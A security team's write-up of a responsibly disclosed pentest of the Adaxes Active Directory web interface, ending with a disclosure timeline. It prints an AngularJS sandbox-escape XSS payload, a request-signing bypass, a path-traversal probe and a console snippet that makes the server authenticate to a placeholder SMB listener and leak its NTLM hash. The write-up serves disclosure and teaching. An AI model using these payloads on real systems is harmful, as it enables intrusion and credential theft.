Finding Zero-Day Vulnerabilities in the Supply Chain
Michel de Montaigne once said : “On the highest throne of the world, we still only sit on our bottom”. This invitation to humility is an interesting quote to keep in mind when thinking about CyberSecurity. In today’s world, most of the technologies are interconnected. We depend on components depending on others. There are hundreds, more like thousands of layers from the first DNS request to the Rendering of this HTML Page. The more dependencies you create, the more the attack surface widens.
This rule applies especially to the 3rd party solutions we use to deliver our services at ManoMano, the European leader specialised in DIY, home improvement and gardening online. We need to be conscious of what we are implementing and how we are doing it in order to keep control of our technical stack.
That’s why at ManoMano, we try our best to think about Supply Chain Attacks. The Supply Chain can be considered as every party, activity or information needed to deliver a product or service. The goal is to ensure that before we integrate a new component to the chain, we test its Security and Compliance.
In this article, we will share how we worked with one of our partners in identifying and fixing vulnerabilities in their product. From the first reconnaissance of the product to the exploitation of a Zero-Day vulnerability, let’s dive into one component of the chain.
Adaxes: Graphical AD Manager
An Active Directory (AD) is a directory service handling the authentications and authorizations of all the users and computers running in the domain network. The AD is a centralized tool permitting users to authenticate to certain services or perform certain tasks.
By essence, this is a tool handled by the SysAdmin teams. At ManoMano, one of the needs was to delegate the group management between the team owners. The strategy is to give all the managers the right tool to manage their team access rights without depending on the SysAdmin Team. That way, we allow more flexibility and autonomy for everyone.
That’s where Adaxes comes into play. This 3rd party solution allows organisations to handle the AD in the best way possible with automation rules, approval based workflows and easy integrations. With all those great features, we had only one goal: Proof of Concept (PoC) the solution. At ManoMano, we asked a test group to use the solution and give feedback based on their needs.
For critical solutions like Adaxes, which is directly plugged to our Active Directory, the Security Team is involved at the very beginning of the PoC. That’s our BatSignal.
Our mission is simple:
- We simulate cyber attacks on the Adaxes services in order to find vulnerabilities.
- We work on a fix with the external partner company.
Where to start ?
First things first, we need to understand the scope of our mission. Adaxes has many different layers. There is a software hooked directly into the AD and a web service. We only focused on the web service.
We use the tool as a regular user while proxying every request to Burp Suite. Burp will capture our traffic and we will be able to analyse it afterward.
By fooling around the platform, we stumbled upon our first vulnerability.
Dig out the Sandbox
When inspecting the technologies used by Adaxes with Wappalyzer, we quickly identify that Adaxes uses AngularJS.
Angular is a well known front end framework for Javascript, enabling developers to code more efficiently with a templating system. Now as a Security Hunter when you see that a web page uses Angular, you are thinking about Client Side Template Injections.
This kind of attack occurs when the web application, using templating frameworks, dynamically embeds user input inside the template without escaping it. For instance, if the user write {{ 7*7 }} and see 49 in the page, he can safely assume that the front-end is vulnerable to template injection. The thing is that Angular is usually protected from such exploits, since it sandboxes the templates. This means you’ll have to find a payload escaping the sandbox while evaluating Javascript outside of it in order to get Javascript Injection.
While testing Adaxes functionalities, we identified a user input in the hash of the URL reflected directly inside a template.When visiting the following link:
adaxes.manomano.tld/#/Browse/CN=user.user,OU={{7*7}},DC=org
We had the following result:
As you may notice in the right corner of the screenshot, our input was interpreted by the front-end as a template.
Luckily for us, Gareth Heyes and Ian Hickey already documented a sandbox escape for this specific version of Angular.
The following payload did execute Javascript in the DOM.
{{x={y:’’.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:’x=alert(document.domain)’}}
Right, but what can we do from here? In general, when we can control the Javascript of a client, it is possible to mimic any actions that the victim is allowed to, leading to the potential loss of confidentiality and integrity of the Active Directory depending on the privileges and roles of the victim.
Bypassing the Signed Requests
But let’s not stop here. Remember that at the beginning of the reconnaissance we’ve set up a proxy to Burp Suite intercepting all the traffic between the Browser and the Backend. When analysing those logs we stumbled upon a problem: every request was signed, not only the body of the request but also the headers.
POST /Adaxes/api/directoryObjects/account/enable HTTP/1.1
Host: adaxes.manomano.tld
Cookie: [Token]
Adm-Authorization: [Token]
Accept-Language: en-gb
Sec-Ch-Ua-Mobile: ?0
Adm-Service: [uuid]
Adm-Webui-Configuration: SelfService
Content-Type: application/json;charset=UTF-8
Adm-Signed-Headers: Accept;Accept-Language;Adm-Authorization;Adm-Service;Adm-WebUI-Configuration;Content-Type
Adm-Signature: emNpXj10UXZHUGtPLGtPJUsuSkZYPw=TFxjSV9jP3AlTDFUO3QtS3hFZTMzRGtPeUtdNHVsLltSQydzdDNfaG5dKXlzc2BZPn1fIEMhdW9eW1RPLG1MPiJ9ck0wRSNiKUdHZTg7VEpDcjNXUiZxPHJuMmp6LCl9PHN9aU56MllLdF9JXWs6MSojKWcmRCF+VF9Iclo=
Connection: close{“directoryObject”:”CN=user.user,OU=group,DC=org”}
When pentesting an application, we want to be able to craft our own requests to the backend in order to send unpredicted requests. The goal is to test the response of the server depending on what type of attack we want to perform. Unfortunately if everything is signed by the front end, having a Man in the Middle with Burp Suite will not work.
But wait … The requests are signed by the front end … Let’s try something
If everything is signed by the front end, we may be able to reverse engineer the Javascript code handling the signing of the request. That way we could craft our own payloads and send whatever we want to the backend.
The first step was to find the code handling the behavior:
Searching the function signRequest
Well as much as we like reversing engineering minified Javascript, we went with a slightly different approach in order to alternate the content of the body. We simply added a breakpoint.
Now each time the application sends a request and signs it, we can dynamically modify the content of the variable e, which contains all the information related to the HTTP Request:
While setting a breakpoint on the signRequest function, we put ourselves between the creation of the request and the signing. The breakpoint will stop the code momentarily letting us override the e variable containing the raw of the HTTP Request. Once we override the e variable, the runtime can be resumed and a request will be sent with our now crafted body.
Enumerating the APIs Calls
Okay now we can begin to test the backend server. When checking out the requests we received in Burp Suite logs, there was a route that was often called. It was /api/directoryObjects. When checking the JSON body of the request we had something like:
{
“properties”:[{
“propertyType”:1,
“propertyName”:”title”,
“values”:[“test”]
}],
“directoryObject”:”CN=user.user,OU=group,DC=org”
}
Weirdly enough when incrementing the value of propertyType we had different kind of responses, until we got something really strange on value 16:
HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Pragma: no-cache
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Content-Length: 128
Connection: Close{“message”:”Could not find file ‘C:\\Windows\\TEMP\\Softerra\\Adaxes 3\\WebUIBlobStorage\\test.dat’.”,”code”:”generalException”}
What’s happening is that our user input is converted into an argument to find a .dat file on the system.
Our first reaction was to find out if we had a Local File Inclusion of some sort. To confirm this we sent the payload:
{
“properties”: [
{
“propertyType”: 16,
“propertyName”: “title”,
“values”: [
“..\\..\\..\\..\\..\\Users\\Administrator\\NTUser”
]
}
],
“directoryObject”: “CN=user.user,OU=group,DC=org”
}
Resulting in:
HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Pragma: no-cache
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Content-Length: 104
Connection: Close{“message”:”Access to the path ‘C:\\Users\\Administrator\\NTUser.dat’ is denied.”,”code”:”accessDenied”}
Apparently the privileges of the machine weren’t high enough to load the .dat file. The question is, what can we do now ?
E.T Home Phone
Let me introduce you to the SMB protocol. The Server Message Block is a communication protocol to share files between systems, printers or machines. Some implementations of SMB rely on LM or NTLM authentication only requiring the username and the hash of the machine. Basically when you are going to try to authenticate on another machine, you will send the Hash of the Password to the other host.
Adaxes’ API is waiting for a path, but we found out that we can also give as an argument a SMB URI Scheme.
If we want to test if the backend will send us the hash of the password, we need to set up a tool that will intercept SMB packets and output the hash of the machine. Of course this tool already exists and is called Responder. Once Responder is fully configured and awaits for a connection we can send the request.
In order to send the request we need to come back to the previous step of the article and bypass the signing of the request. Once the breakpoint is hit we only need to copy paste the following code in the Dev Tool console:
e.method=”PATCH”; e.headers[“Content-Type”] = “application/json”; e.url=”api/directoryObjects”; e.data={
“properties”:[
{“propertyType”:16, “propertyName”:”title”, “values”:[“//YOUR_LISTENER/test”]}
],
“directoryObject”:”CN=user.user,OU=group,DC=org”}
The request looks like this:
PATCH /Adaxes/api/directoryObjects HTTP/1.1
Host: adaxes.manomano.tld
Adm-Authorization: [SIGNED]
Adm-Webui-Configuration: SelfService
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Adm-Signed-Headers: Accept;Accept-Language;Adm-Authorization;Adm-Service;Adm-WebUI-Configuration;Content-Type
Adm-Signature: [SIGNED]
Connection: close{“properties”:[{“propertyType”:16,”propertyName”:”title”,”values”:[“//YOUR_LISTENER/test”]}],”directoryObject”:”CN=user.user,OU=group,DC=org”}
And guess what ? We got the password hash !
To understand the impact of this finding, you can read Ropnop’s article on the Practical Usage of NTML Hashes that concluded that “[…] NTLM hash is pretty much just as good as a password when it comes to security tools. If you compromise a hash, all the same tools and techniques are still valid and you can authenticate as that user to browse file shares and execute commands.” In this specific case Responder retrieves NTLMv2 hashes, which can’t be abused other than cracking locally the password.
Conclusion
As an Offensive Security Engineer the Supply Chain is definitely one of the most interesting areas to attack. At the end of the day you have a huge scope to play with, many diverse technologies and most importantly you need a lot of creativity to understand how tools are linked from one another.
After assessing the service, we sent the results to Adaxes teams in order to mitigate the vulnerabilities. They released a Patch Note fixing the issues under Update 5 on August 12th 2021.
The collaboration was awesome, and they were really reactive. We had a few calls with them to explain the methodology and we shared a full report with their team.
I want to personally thank the Adaxes team and our dear SysAdmin team at ManoMano ❤.
Disclosure Time Frame
August 3, 2021: Vendor contacted by email without the vulnerabilities details.August 5, 2021: First meeting with the vendor presenting the vulnerabilities.August 6, 2021: Second meeting with the vendor detailing the next steps. Fix in progress.August 10, 2021: Full written report sent to the vendor.August 12, 2021: Vendor released a fixed version with patch note.